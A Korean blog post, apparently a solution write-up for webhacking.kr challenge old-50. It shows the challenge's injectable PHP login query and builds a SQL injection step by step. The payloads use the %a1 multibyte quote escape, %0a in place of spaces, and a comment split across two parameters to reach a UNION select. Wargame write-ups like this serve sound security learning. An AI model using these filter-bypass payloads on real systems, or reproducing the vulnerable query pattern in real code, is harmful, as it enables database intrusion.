입력칸 두개와 제출버튼 소스보기가 있다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
입력칸 두개와 제출버튼 소스보기가 있다.
싱글쿼터는 앞에서 했듯이 %a1'으로 우회하고
union을 통해 3을 받아오면 될거같다. pw부분은 union을 막아놓지않았다.
' or lv=3
' union select 3
이정도 인거같다.
우회를 피해 한번 만들어보자
먼저 위방법을 시도해보자
역시 old-45에서 봤듯이 멀티바이트를 사용하는 언어로 인코딩됬을때는 우회가 가능하다
%a1'로 '을 우회하고 띄워쓰기는 %0a로 우회해보자 (%a1'은 mb_convert_encoding($_GET['id'],'utf-8','euc-kr')을 거쳐 x'로 바뀌고 필터링 함수로 넘어가기 때문에 필터링 되지 않는다,%0a도 url디코딩을 거쳐 들어가게되기때문에 상관없다.)
?id=%a1'||lv%0alike%0a1%23&pw=123
이런식으로 하면 level1이 나오지만
?id=%a1'||lv%0alike%0a3%23&pw=123 lv3을 지정하면 반응이없다.
반응이 없다. 아마 lv 3인 값은 없는거같다 그렇다면 아래 방법을 시도해보자.
문제는 md5해시 인거같다.
)를 쓸수없기때문에 우회하기 위해선 기존과 다른방법을 사용해야될거같다.
위 쿼리문은 우회할려면 주석처리를 통한 우회가 가능할거같다.
select lv from chall50 where id='' /* ' and pw=md5('*/ ||union select 3#')"));
이런식으로 쿼리가 되면 될거같다./**/이부분은 주석처리가 된다.
필터링을 피해 만들어보자
?id=%a1'/*&pw=*/union%0aselect%0a3%23
이렇게 넘겨주면 성공
'보안 > webhacking' 카테고리의 다른 글
webhacking.kr old-54 (0) | 2019.12.08 |
---|---|
webhacking.kr old-53 (0) | 2019.12.08 |
webhacking.kr old-49 (0) | 2019.12.07 |
webhakcing.kr old-48 (0) | 2019.12.07 |
webhacking.kr old-46 (0) | 2019.12.06 |
최근댓글